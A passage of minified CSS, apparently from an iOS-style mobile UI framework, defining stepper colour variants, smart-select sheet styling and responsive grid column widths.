.stepper-value{border-top-color:#007aff;border-bottom-color:#007aff}.ios .stepper.color-blue .stepper-value{color:#007aff}.ios .stepper.color-blue .stepper-input-wrap input{color:#007aff}.ios .stepper.color-blue.stepper-fill .stepper-button,.ios .stepper.color-blue.stepper-fill .stepper-button-minus,.ios .stepper.color-blue.stepper-fill .stepper-button-plus,.ios .stepper.color-blue.stepper-fill-ios .stepper-button,.ios .stepper.color-blue.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-blue.stepper-fill-ios .stepper-button-plus{background-color:#007aff}.ios .stepper.color-blue.stepper-fill .stepper-button-minus:after,.ios .stepper.color-blue.stepper-fill .stepper-button-minus:before,.ios .stepper.color-blue.stepper-fill .stepper-button-plus:after,.ios .stepper.color-blue.stepper-fill .stepper-button-plus:before,.ios .stepper.color-blue.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-blue.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-blue.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-blue.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button.active-state{color:#007aff;border-color:#007aff;background-color:transparent}.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-blue.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-blue.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#007aff}.ios .stepper.color-pink .stepper-button,.ios .stepper.color-pink .stepper-button-minus,.ios .stepper.color-pink .stepper-button-plus{border-color:#ff2d55;color:#ff2d55}.ios .stepper.color-pink .stepper-button-minus.active-state,.ios .stepper.color-pink .stepper-button-plus.active-state,.ios .stepper.color-pink .stepper-button.active-state{background-color:rgba(255,45,85,.15)}.ios .stepper.color-pink .stepper-button-minus:after,.ios .stepper.color-pink .stepper-button-minus:before,.ios .stepper.color-pink .stepper-button-plus:after,.ios .stepper.color-pink .stepper-button-plus:before{background-color:#ff2d55}.ios .stepper.color-pink .stepper-input-wrap,.ios .stepper.color-pink .stepper-value{border-top-color:#ff2d55;border-bottom-color:#ff2d55}.ios .stepper.color-pink .stepper-value{color:#ff2d55}.ios .stepper.color-pink .stepper-input-wrap input{color:#ff2d55}.ios .stepper.color-pink.stepper-fill .stepper-button,.ios .stepper.color-pink.stepper-fill .stepper-button-minus,.ios .stepper.color-pink.stepper-fill .stepper-button-plus,.ios .stepper.color-pink.stepper-fill-ios .stepper-button,.ios .stepper.color-pink.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-pink.stepper-fill-ios .stepper-button-plus{background-color:#ff2d55}.ios .stepper.color-pink.stepper-fill .stepper-button-minus:after,.ios .stepper.color-pink.stepper-fill .stepper-button-minus:before,.ios .stepper.color-pink.stepper-fill .stepper-button-plus:after,.ios .stepper.color-pink.stepper-fill .stepper-button-plus:before,.ios .stepper.color-pink.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-pink.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-pink.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-pink.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button.active-state{color:#ff2d55;border-color:#ff2d55;background-color:transparent}.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-pink.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-pink.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#ff2d55}.ios .stepper.color-yellow .stepper-button,.ios .stepper.color-yellow .stepper-button-minus,.ios .stepper.color-yellow .stepper-button-plus{border-color:#fc0;color:#fc0}.ios .stepper.color-yellow .stepper-button-minus.active-state,.ios .stepper.color-yellow .stepper-button-plus.active-state,.ios .stepper.color-yellow .stepper-button.active-state{background-color:rgba(255,204,0,.15)}.ios .stepper.color-yellow .stepper-button-minus:after,.ios .stepper.color-yellow .stepper-button-minus:before,.ios .stepper.color-yellow .stepper-button-plus:after,.ios .stepper.color-yellow .stepper-button-plus:before{background-color:#fc0}.ios .stepper.color-yellow .stepper-input-wrap,.ios .stepper.color-yellow .stepper-value{border-top-color:#fc0;border-bottom-color:#fc0}.ios .stepper.color-yellow .stepper-value{color:#fc0}.ios .stepper.color-yellow .stepper-input-wrap input{color:#fc0}.ios .stepper.color-yellow.stepper-fill .stepper-button,.ios .stepper.color-yellow.stepper-fill .stepper-button-minus,.ios .stepper.color-yellow.stepper-fill .stepper-button-plus,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-plus{background-color:#fc0}.ios .stepper.color-yellow.stepper-fill .stepper-button-minus:after,.ios .stepper.color-yellow.stepper-fill .stepper-button-minus:before,.ios .stepper.color-yellow.stepper-fill .stepper-button-plus:after,.ios .stepper.color-yellow.stepper-fill .stepper-button-plus:before,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-yellow.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button.active-state{color:#fc0;border-color:#fc0;background-color:transparent}.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-yellow.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-yellow.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#fc0}.ios .stepper.color-orange .stepper-button,.ios .stepper.color-orange .stepper-button-minus,.ios .stepper.color-orange .stepper-button-plus{border-color:#ff9500;color:#ff9500}.ios .stepper.color-orange .stepper-button-minus.active-state,.ios .stepper.color-orange .stepper-button-plus.active-state,.ios .stepper.color-orange .stepper-button.active-state{background-color:rgba(255,149,0,.15)}.ios .stepper.color-orange .stepper-button-minus:after,.ios .stepper.color-orange .stepper-button-minus:before,.ios .stepper.color-orange .stepper-button-plus:after,.ios .stepper.color-orange .stepper-button-plus:before{background-color:#ff9500}.ios .stepper.color-orange .stepper-input-wrap,.ios .stepper.color-orange .stepper-value{border-top-color:#ff9500;border-bottom-color:#ff9500}.ios .stepper.color-orange .stepper-value{color:#ff9500}.ios .stepper.color-orange .stepper-input-wrap input{color:#ff9500}.ios .stepper.color-orange.stepper-fill .stepper-button,.ios .stepper.color-orange.stepper-fill .stepper-button-minus,.ios .stepper.color-orange.stepper-fill .stepper-button-plus,.ios .stepper.color-orange.stepper-fill-ios .stepper-button,.ios .stepper.color-orange.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-orange.stepper-fill-ios .stepper-button-plus{background-color:#ff9500}.ios .stepper.color-orange.stepper-fill .stepper-button-minus:after,.ios .stepper.color-orange.stepper-fill .stepper-button-minus:before,.ios .stepper.color-orange.stepper-fill .stepper-button-plus:after,.ios .stepper.color-orange.stepper-fill .stepper-button-plus:before,.ios .stepper.color-orange.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-orange.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-orange.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-orange.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button.active-state{color:#ff9500;border-color:#ff9500;background-color:transparent}.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-orange.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-orange.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#ff9500}.ios .stepper.color-gray .stepper-button,.ios .stepper.color-gray .stepper-button-minus,.ios .stepper.color-gray .stepper-button-plus{border-color:#8e8e93;color:#8e8e93}.ios .stepper.color-gray .stepper-button-minus.active-state,.ios .stepper.color-gray .stepper-button-plus.active-state,.ios .stepper.color-gray .stepper-button.active-state{background-color:rgba(142,142,147,.15)}.ios .stepper.color-gray .stepper-button-minus:after,.ios .stepper.color-gray .stepper-button-minus:before,.ios .stepper.color-gray .stepper-button-plus:after,.ios .stepper.color-gray .stepper-button-plus:before{background-color:#8e8e93}.ios .stepper.color-gray .stepper-input-wrap,.ios .stepper.color-gray .stepper-value{border-top-color:#8e8e93;border-bottom-color:#8e8e93}.ios .stepper.color-gray .stepper-value{color:#8e8e93}.ios .stepper.color-gray .stepper-input-wrap input{color:#8e8e93}.ios .stepper.color-gray.stepper-fill .stepper-button,.ios .stepper.color-gray.stepper-fill .stepper-button-minus,.ios .stepper.color-gray.stepper-fill .stepper-button-plus,.ios .stepper.color-gray.stepper-fill-ios .stepper-button,.ios .stepper.color-gray.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-gray.stepper-fill-ios .stepper-button-plus{background-color:#8e8e93}.ios .stepper.color-gray.stepper-fill .stepper-button-minus:after,.ios .stepper.color-gray.stepper-fill .stepper-button-minus:before,.ios .stepper.color-gray.stepper-fill .stepper-button-plus:after,.ios .stepper.color-gray.stepper-fill .stepper-button-plus:before,.ios .stepper.color-gray.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-gray.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-gray.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-gray.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button.active-state{color:#8e8e93;border-color:#8e8e93;background-color:transparent}.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-gray.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-gray.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#8e8e93}.ios .stepper.color-white .stepper-button,.ios .stepper.color-white .stepper-button-minus,.ios .stepper.color-white .stepper-button-plus{border-color:#fff;color:#fff}.ios .stepper.color-white .stepper-button-minus.active-state,.ios .stepper.color-white .stepper-button-plus.active-state,.ios .stepper.color-white .stepper-button.active-state{background-color:rgba(255,255,255,.15)}.ios .stepper.color-white .stepper-button-minus:after,.ios .stepper.color-white .stepper-button-minus:before,.ios .stepper.color-white .stepper-button-plus:after,.ios .stepper.color-white .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-white .stepper-input-wrap,.ios .stepper.color-white .stepper-value{border-top-color:#fff;border-bottom-color:#fff}.ios .stepper.color-white .stepper-value{color:#fff}.ios .stepper.color-white .stepper-input-wrap input{color:#fff}.ios .stepper.color-white.stepper-fill .stepper-button,.ios .stepper.color-white.stepper-fill .stepper-button-minus,.ios .stepper.color-white.stepper-fill .stepper-button-plus,.ios .stepper.color-white.stepper-fill-ios .stepper-button,.ios .stepper.color-white.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-white.stepper-fill-ios .stepper-button-plus{background-color:#fff}.ios .stepper.color-white.stepper-fill .stepper-button-minus:after,.ios .stepper.color-white.stepper-fill .stepper-button-minus:before,.ios .stepper.color-white.stepper-fill .stepper-button-plus:after,.ios .stepper.color-white.stepper-fill .stepper-button-plus:before,.ios .stepper.color-white.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-white.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-white.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-white.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button.active-state{color:#fff;border-color:#fff;background-color:transparent}.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-white.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-white.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#fff}.ios .stepper.color-black .stepper-button,.ios .stepper.color-black .stepper-button-minus,.ios .stepper.color-black .stepper-button-plus{border-color:#000;color:#000}.ios .stepper.color-black .stepper-button-minus.active-state,.ios .stepper.color-black .stepper-button-plus.active-state,.ios .stepper.color-black .stepper-button.active-state{background-color:rgba(0,0,0,.15)}.ios .stepper.color-black .stepper-button-minus:after,.ios .stepper.color-black .stepper-button-minus:before,.ios .stepper.color-black .stepper-button-plus:after,.ios .stepper.color-black .stepper-button-plus:before{background-color:#000}.ios .stepper.color-black .stepper-input-wrap,.ios .stepper.color-black .stepper-value{border-top-color:#000;border-bottom-color:#000}.ios .stepper.color-black .stepper-value{color:#000}.ios .stepper.color-black .stepper-input-wrap input{color:#000}.ios .stepper.color-black.stepper-fill .stepper-button,.ios .stepper.color-black.stepper-fill .stepper-button-minus,.ios .stepper.color-black.stepper-fill .stepper-button-plus,.ios .stepper.color-black.stepper-fill-ios .stepper-button,.ios .stepper.color-black.stepper-fill-ios .stepper-button-minus,.ios .stepper.color-black.stepper-fill-ios .stepper-button-plus{background-color:#000}.ios .stepper.color-black.stepper-fill .stepper-button-minus:after,.ios .stepper.color-black.stepper-fill .stepper-button-minus:before,.ios .stepper.color-black.stepper-fill .stepper-button-plus:after,.ios .stepper.color-black.stepper-fill .stepper-button-plus:before,.ios .stepper.color-black.stepper-fill-ios .stepper-button-minus:after,.ios .stepper.color-black.stepper-fill-ios .stepper-button-minus:before,.ios .stepper.color-black.stepper-fill-ios .stepper-button-plus:after,.ios .stepper.color-black.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button.active-state{color:#000;border-color:#000;background-color:transparent}.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-black.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper.color-black.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#000}.smart-select select{display:none}.smart-select .item-after{max-width:70%;overflow:hidden;text-overflow:ellipsis;position:relative;display:block}.sheet-modal.smart-select-sheet .sheet-modal-inner{background:#fff}.sheet-modal.smart-select-sheet .list{margin:0}.sheet-modal.smart-select-sheet .list ul:before{display:none!important}.sheet-modal.smart-select-sheet .list ul:after{display:none!important}.smart-select-popover .popover-inner{max-height:40vh}.ios .smart-select-sheet .page{background:#fff}.ios .smart-select-sheet .toolbar:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .smart-select-sheet .toolbar:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .smart-select-sheet .toolbar:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .theme-dark .smart-select-sheet .page,.ios .theme-dark .smart-select-sheet .sheet-modal-inner{background-color:#1c1c1d}.ios .theme-dark .smart-select-sheet .toolbar:after{background-color:#282829}.row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.row>.col,.row>[class*=col-]{-webkit-box-sizing:border-box;box-sizing:border-box}.row .col{width:100%}.ios .row .col-100{width:100%;width:calc((100% - 15px*0)/ 1)}.ios .row.no-gap .col-100{width:100%}.ios .row .col-95{width:95%;width:calc((100% - 15px*.05263157894736836)/ 1.0526315789473684)}.ios .row.no-gap .col-95{width:95%}.ios .row .col-90{width:90%;width:calc((100% - 15px*.11111111111111116)/ 1.1111111111111112)}.ios .row.no-gap .col-90{width:90%}.ios .row .col-85{width:85%;width:calc((100% - 15px*.17647058823529416)/ 1.1764705882352942)}.ios .row.no-gap .col-85{width:85%}.ios .row .col-80{width:80%;width:calc((100% - 15px*.25)/ 1.25)}.ios .row.no-gap .col-80{width:80%}.ios .row .col-75{width:75%;width:calc((100% - 15px*.33333333333333326)/ 1.3333333333333333)}.ios .row.no-gap .col-75{width:75%}.ios .row .col-70{width:70%;width:calc((100% - 15px*.4285714285714286)/ 1.4285714285714286)}.ios .row.no-gap .col-70{width:70%}.ios .row .col-66{width:66.66666666666666%;width:calc((100% - 15px*.5000000000000002)/ 1.5000000000000002)}.ios .row.no-gap .col-66{width:66.66666666666666%}.ios .row .col-65{width:65%;width:calc((100% - 15px*.5384615384615385)/ 1.5384615384615385)}.ios .row.no-gap .col-65{width:65%}.ios .row .col-60{width:60%;width:calc((100% - 15px*.6666666666666667)/ 1.6666666666666667)}.ios .row.no-gap .col-60{width:60%}.ios .row .col-55{width:55%;width:calc((100% - 15px*.8181818181818181)/ 1.8181818181818181)}.ios .row.no-gap .col-55{width:55%}.ios .row .col-50{width:50%;width:calc((100% - 15px*1)/ 2)}.ios .row.no-gap .col-50{width:50%}.ios .row .col-45{width:45%;width:calc((100% - 15px*1.2222222222222223)/ 2.2222222222222223)}.ios .row.no-gap .col-45{width:45%}.ios .row .col-40{width:40%;width:calc((100% - 15px*1.5)/ 2.5)}.ios .row.no-gap .col-40{width:40%}.ios .row .col-35{width:35%;width:calc((100% - 15px*1.8571428571428572)/ 2.857142857142857)}.ios .row.no-gap .col-35{width:35%}.ios .row .col-33{width:33.333333333333336%;width:calc((100% - 15px*2)/ 3)}.ios .row.no-gap .col-33{width:33.333333333333336%}.ios .row .col-30{width:30%;width:calc((100% - 15px*2.3333333333333335)/ 3.3333333333333335)}.ios .row.no-gap .col-30{width:30%}.ios .row .col-25{width:25%;width:calc((100% - 15px*3)/ 4)}.ios .row.no-gap .col-25{width:25%}.ios .row .col-20{width:20%;width:calc((100% - 15px*4)/ 5)}.ios .row.no-gap .col-20{width:20%}.ios .row .col-15{width:15%;width:calc((100% - 15px*5.666666666666667)/ 6.666666666666667)}.ios .row.no-gap .col-15{width:15%}.ios .row .col-10{width:10%;width:calc((100% - 15px*9)/ 10)}.ios .row.no-gap .col-10{width:10%}.ios .row .col-5{width:5%;width:calc((100% - 15px*19)/ 20)}.ios .row.no-gap .col-5{width:5%}.ios .row .col:nth-last-child(1),.ios .row .col:nth-last-child(1)~.col{width:100%;width:calc((100% - 15px*0)/ 1)}.ios .row.no-gap .col:nth-last-child(1),.ios .row.no-gap .col:nth-last-child(1)~.col{width:100%}.ios .row .col:nth-last-child(2),.ios .row .col:nth-last-child(2)~.col{width:50%;width:calc((100% - 15px*1)/ 2)}.ios .row.no-gap .col:nth-last-child(2),.ios .row.no-gap .col:nth-last-child(2)~.col{width:50%}.ios .row .col:nth-last-child(3),.ios .row .col:nth-last-child(3)~.col{width:33.33333333%;width:calc((100% - 15px*2)/ 3)}.ios .row.no-gap .col:nth-last-child(3),.ios .row.no-gap .col:nth-last-child(3)~.col{width:33.33333333%}.ios .row .col:nth-last-child(4),.ios .row .col:nth-last-child(4)~.col{width:25%;width:calc((100% - 15px*3)/ 4)}.ios .row.no-gap .col:nth-last-child(4),.ios .row.no-gap .col:nth-last-child(4)~.col{width:25%}.ios .row .col:nth-last-child(5),.ios .row .col:nth-last-child(5)~.col{width:20%;width:calc((100% - 15px*4)/ 5)}.ios .row.no-gap .col:nth-last-child(5),.ios .row.no-gap .col:nth-last-child(5)~.col{width:20%}.ios .row .col:nth-last-child(6),.ios .row .col:nth-last-child(6)~.col{width:16.66666667%;width:calc((100% - 15px*5)/ 6)}.ios .row.no-gap .col:nth-last-child(6),.ios .row.no-gap .col:nth-last-child(6)~.col{width:16.66666667%}.ios .row .col:nth-last-child(7),.ios .row .col:nth-last-child(7)~.col{width:14.28571429%;width:calc((100% - 15px*6)/ 7)}.ios .row.no-gap .col:nth-last-child(7),.ios .row.no-gap .col:nth-last-child(7)~.col{width:14.28571429%}.ios .row .col:nth-last-child(8),.ios .row .col:nth-last-child(8)~.col{width:12.5%;width:calc((100% - 15px*7)/ 8)}.ios .row.no-gap .col:nth-last-child(8),.ios .row.no-gap .col:nth-last-child(8)~.col{width:12.5%}.ios .row .col:nth-last-child(9),.ios .row .col:nth-last-child(9)~.col{width:11.11111111%;width:calc((100% - 15px*8)/ 9)}.ios .row.no-gap .col:nth-last-child(9),.ios .row.no-gap .col:nth-last-child(9)~.col{width:11.11111111%}.ios .row .col:nth-last-child(10),.ios .row .col:nth-last-child(10)~.col{width:10%;width:calc((100% - 15px*9)/ 10)}.ios .row.no-gap .col:nth-last-child(10),.ios .row.no-gap .col:nth-last-child(10)~.col{width:10%}.ios .row .col:nth-last-child(11),.ios .row .col:nth-last-child(11)~.col{width:9.09090909%;width:calc((100% - 15px*10)/ 11)}.ios .row.no-gap .col:nth-last-child(11),.ios .row.no-gap .col:nth-last-child(11)~.col{width:9.09090909%}.ios .row .col:nth-last-child(12),.ios .row .col:nth-last-child(12)~.col{width:8.33333333%;width:calc((100% - 15px*11)/ 12)}.ios .row.no-gap .col:nth-last-child(12),.ios .row.no-gap .col:nth-last-child(12)~.col{width:8.33333333%}.ios .row .col:nth-last-child(13),.ios .row .col:nth-last-child(13)~.col{width:7.69230769%;width:calc((100% - 15px*12)/ 13)}.ios .row.no-gap .col:nth-last-child(13),.ios .row.no-gap .col:nth-last-child(13)~.col{width:7.69230769%}.ios .row .col:nth-last-child(14),.ios .row .col:nth-last-child(14)~.col{width:7.14285714%;width:calc((100% - 15px*13)/ 14)}.ios .row.no-gap .col:nth-last-child(14),.ios .row.no-gap .col:nth-last-child(14)~.col{width:7.14285714%}.ios .row .col:nth-last-child(15),.ios .row .col:nth-last-child(15)~.col{width:6.66666667%;width:calc((100% - 15px*14)/ 15)}.ios .row.no-gap .col:nth-last-child(15),.ios .row.no-gap .col:nth-last-child(15)~.col{width:6.66666667%}.ios .row .col:nth-last-child(16),.ios .row .col:nth-last-child(16)~.col{width:6.25%;width:calc((100% - 15px*15)/ 16)}.ios .row.no-gap .col:nth-last-child(16),.ios .row.no-gap .col:nth-last-child(16)~.col{width:6.25%}.ios .row .col:nth-last-child(17),.ios .row .col:nth-last-child(17)~.col{width:5.88235294%;width:calc((100% - 15px*16)/ 17)}.ios .row.no-gap .col:nth-last-child(17),.ios .row.no-gap .col:nth-last-child(17)~.col{width:5.88235294%}.ios .row .col:nth-last-child(18),.ios .row .col:nth-last-child(18)~.col{width:5.55555556%;width:calc((100% - 15px*17)/ 18)}.ios .row.no-gap .col:nth-last-child(18),.ios .row.no-gap .col:nth-last-child(18)~.col{width:5.55555556%}.ios .row .col:nth-last-child(19),.ios .row .col:nth-last-child(19)~.col{width:5.26315789%;width:calc((100% - 15px*18)/ 19)}.ios .row.no-gap .col:nth-last-child(19),.ios .row.no-gap .col:nth-last-child(19)~.col{width:5.26315789%}.ios .row .col:nth-last-child(20),.ios .row .col:nth-last-child(20)~.col{width:5%;width:calc((100% - 15px*19)/ 20)}.ios .row.no-gap .col:nth-last-child(20),.ios .row.no-gap .col:nth-last-child(20)~.col{width:5%}.ios .row .col:nth-last-child(21),.ios .row .col:nth-last-child(21)~.col{width:4.76190476%;width:calc((100% - 15px*20)/ 21)}.ios .row.no-gap .col:nth-last-child(21),.ios .row.no-gap .col:nth-last-child(21)~.col{width:4.76190476%}@media (min-width:768px){.ios .row .tablet-100{width:100%;width:calc((100% - 15px*0)/ 1)}.ios .row.no-gap .tablet-100{width:100%}.ios .row .tablet-95{width:95%;width:calc((100% - 15px*.05263157894736836)/ 1.0526315789473684)}.ios .row.no-gap .tablet-95{width:95%}.ios .row .tablet-90{width:90%;width:calc((100% - 15px*.11111111111111116)/ 1.1111111111111112)}.ios .row.no-gap .tablet-90{width:90%}.ios .row .tablet-85{width:85%;width:calc((100% - 15px*.17647058823529416)/ 1.1764705882352942)}.ios .row.no-gap .tablet-85{width:85%}.ios .row .tablet-80{width:80%;width:calc((100% - 15px*.25)/ 1.25)}.ios .row.no-gap .tablet-80{width:80%}.ios .row 